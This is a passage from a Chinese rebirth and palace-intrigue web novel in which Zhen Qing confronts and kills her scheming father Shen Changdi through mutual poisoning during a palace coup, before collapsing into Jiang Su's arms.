江诉被师坤尧困住了,河东军还在半路,远远没有过来,而谢冠的人马一直盯着江诉这边,甚至出动了好几批人要杀了江诉,师坤尧带着人同江诉杀出了一条血路。 师坤尧不知道答应的这件事居然如此危险,在心中骂了好几句娘的,可是脑中还是能一直想着枕清那晚说的话。 “我之前让让你帮我做一件事,我要你帮我阻止江诉的动作,把他困在你身边内三日,若是我活着出来,用不着你了,如果没有活着出来,你就带着江诉去陇右,符生枝会保护他。” 其实不是防着江诉,而是不想江诉落入险境。 事到如今,江诉已经知道这一切都是枕清的手笔,甚至连他何时有动作,都算的一清二楚。 他问师坤尧:“她和你说了什么?” 师坤尧说:“她说,她的仇、她的恨、她的怨,她自己报。” 128. 天回地转春犹在(七) 此时宫中大乱,脚步匆忙,宫人宫女掠取钱财,四处逃窜。 郁华隐在前一晚就带着裴聿怀一同到了大雁塔,据枕清说,佛门圣地,好去处。 她听着众人说皇宫内的动静,心中不禁为枕清捏了一把汗,可是她也没有办法,如今的自己,能做的也就这么多了。 怀中的裴聿怀探出脑袋问:“阿娘,师母呢?他为什么不跟我们一起跑?” 郁华隐说:“你师娘是这世上最厉害的人,她要留下来保护很多很多人。” - 枕清再次坐在太极宫内,但这一次来的人不是江诉,而是沈昌砥。 沈昌砥走进来,挡住了她旁边桌案上的大部分光彩,可即便如此,枕清的眼神也未曾动一分,她缓缓站起身,拿着烛火依次将烛台点燃。 太极殿登时亮了起来,好似要将每个角落都照得清晰。 做好这些,她再次坐于梨花案前,纤细修长的手从侧匣中取出一支香,立于卧香炉中,冉冉升起一缕青烟,殿内浸满馨香。 沈昌砥坐在她对面,看着她的面容,心中是说不出的欣慰与感慨。 这一次,他对枕清是从未有过的温和,好似终于可以做一回正真的父亲,堂堂正正地站在她面前,再也不用看着她嘻闹地唤着旁人“阿耶”。 他笑着,温和问:“这最后一局,你想如何做?” 枕清说:“你这一招走的太久也太远了,我分不清。” 前几日还是争锋相对,一下子变得如此平和,沈昌砥居然有些迷茫,他从来都是远远望着,望着她笑,看着她哭。 枕清抬手挥动香薰,香味扑鼻,充斥在殿内。 “你为什么要逼死阿姐。” 沈昌砥回:“她不愿意符生枝死,就如同你没有杀禹王。” “那你为什么要对我下毒?” “因为我怕你不受我的控制。” 很诚实的回答,但枕清并不满意,不仅不满意,甚至还有发怒的趋势。 她等了许久,想要把那股情绪压制下来,可是她发现无法抑制。她憋了许久,痛恨了许久,在心中一遍遍质问,一遍遍痛苦,翻来覆去,鲜血淋漓。 她深深吸了一口气:“不仅仅是因为这个,你在我小时候就算计好了,知道这抹毒药是皇宫之中才有,而我身旁能接触到皇宫里的人只有禹王,所以你想要我与禹王互相残杀,走向上一世的惨状! “我原以为上一世我是胜利的,因为后面有商震支撑着,可是我终究是算错了,这一切的幕后之手都是你!因为你觉得我不认识你,找不出你,所以你肆无忌惮。枕淮啊枕淮,你可真坏!枕家死了,所以你也想让我身边的至亲至爱一个个在我面前死去吗?” 他冷眼看着枕清失控,就好像是看到枕灵一般,在他跟前也是如此。 他冷漠的神情逐渐变得温和,想要做出一个慈父模样,“你这是在说什么?你的阿耶不是还在吗?你期待了那么久,想要见到的人在你眼前,你不开心吗?枕清。” “荒唐,简直荒唐至极!”枕清觉得一切都是假的,她心中悲愤万分,“沈阁老说错了,我的阿耶,始终都是禹王一人。” 她轻轻一笑,眼中浮起猩红,道:“你以为我会向阿姐一样,任由你将利剑抵在我的脖颈上吗?说把命还给你?我不是阿姐,你也不是我阿耶,沈阁老你姓沈,而我姓枕! “当初你想联合吐蕃与阿之奎江整个河西、陇右降伏,又入侵大震关,对关中地区形成威胁。可是你没有想到,阿之奎居然节节败退,而吐蕃的消息早就被截留了。 “你说我为什么一直要在你的眼皮子底下干这些事情,要做的如此激进,你当真以为我想不到么?当初河东如此严重的军情,江诉给我的信件,我竟然一点都不知道,你以为我是真的不知道你在我身边安插了人手,太后的侍女早就是你的人了,因此将消息截留。在宫中我如履薄冰,我假意做了那么多事情,就是为了让你觉得我什么都不知道。” 一切都是假的? 沈昌砥竟然不知道枕清谋划了如此之久,即便被枕清识别出来,可是他依旧不慌不忙。 枕清眼神晦暗,她说:“还有的后招究竟是谁?我知道。左金吾卫,石棠磊。” 沈昌砥突然低笑了起来,原来枕清都知道,他看着枕清望着外边的目光,他也随着那道目光一起探远。 见到了无数血肉横飞,杀声震天,无数的恶劣情形,好像都触及不到他们。 昨日枕清派遣包改常、施祝登上前殿,召集各位尚书前来,揭发了这件事,派遣尚书令包改常持节统率丞、郎以下官吏,命令全都手执兵器,守卫省阁,将所有代表帝王和朝廷的符节收集起来,送进内宫。 又派遣施祝率领左右御厩的骑士、羽林卫士,以及都候所属的剑戟士,共计一千余人,和司隶校尉一同包围谢冠的府门。派光人向谢冠收缴了他的大将军印信。 谢冠和他的妻子,当天双双自杀。 秋迹在此以前已经去世。 沈昌砥看清了原本在刑部的罗长观,逐渐回神。 可是他依旧不曾死心,眼神逐渐浑浊:“你们都重生了,代表你们都输了,可是我从未有过上一世的记忆,那么我是赢了吧。既然赢了,我想换一个路走一走,我也想当一个好父亲。” 听到此话,枕清简直像是听到了弥天大谎,她直视枕淮的双眼,笃定道:“我赌你没有后招,枕淮,你何必说得如此冠冕堂皇,我们彼此留着一样的血,你是一个什么样的人,我能猜到,因为我也是这样的人,即使有没有上一世的记忆,我也要赢。” 枕淮问:“你以为你能活着出去吗?” 枕清回:“什么意思。” 他抬手点点熏香,见枕清吐血,忽然赫赫地笑了起来。 枕清轻笑,明知故问:“上一世也是你?” 沈昌砥微笑:“我一直活到最后,怎知什么上一世。” 枕清蓦地哈哈大笑,她抬手擦干净血渍,站起身垂眸看向他,眼神逐渐迸射出灼热,就好像很快、很快就能过去,就能结束这一切。 她道:“那你呢?身体可有不适?” 沈昌砥面露古怪,在下一秒,他突然喷出一口鲜血,溅在枕清的衣裙之上,枕清冷冷 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枕清仿若听到了极大的笑话,她眼神逐渐变得狠厉,随后她慢慢地,一字一顿道:“她无辜,就只有她是你的孩子么?那我阿耶呢?我师父呢?我阿姐呢?北叔父呢?以及那些死在战争的将士们呢?!难道他们就死有余辜?难道他们就天生该死?!” 枕淮知道自己再也碰不到了,他闭上双眼,起伏的胸膛逐渐没了任何动静。 最后,见他真的断了气,枕清不死心的在沈昌砥心口扎上了一刀,喷溅得鲜血在面颊上直流。 身旁的小女娘看清枕清的动作,泪流满面,见枕清如同鬼魅一般朝自己看来,又惊又惧,她慌不择路地朝外边跑去。 倘若要是能看得仔细,那头颅的模样,与这跑走的小女娘的面容一模一样,这头颅是假的,可惜只有枕清一个人看得清楚。 许久后,宫殿逐渐变得寂静。 长夜将尽,天光破晓。 两世恩怨,两世迷糊,终究有了去路。 枕清身上的白衣染上了血色,如同天边暗下的晚霞,是那么的璀璨瑰丽。 这一局,她用尽了全力。 枕清掠过满地的尸体,看着鲜血染红的白墙,这样的血好似没有尽头,她一步步踏下台阶,回头看望来时的路,原来她走了那么多步。 她听到有人喊他,朝前去看。 前方的郎君美如冠玉,松形鹤骨,一双眼眸犹如潺潺春水,也似黛青色的远山,让人难以接近,偏偏含笑的唇瓣,如沐春风般拉近距离,叫人觉得他若即若离,辨不明亲疏。 不是江诉,还能是谁? “你没有走么?” 江诉牵过她的手道:“我没有走。” 枕清笑着,她已然是精疲力尽,忽地倒了下来,江诉接住她。 枕清问:“我赢了吗?” 江诉答:“你赢了。” 枕清小声道:“可为什么我梦见我输了......” 她目光远探,仿佛看见很多人的身影,有阿耶、师父,有阿姐、卷柏,还有叔父,殿下,以及儿时的陈琅,他们正笑盈盈地站在前方,仿若她走出这条长阶,那些人依旧在前面等着她。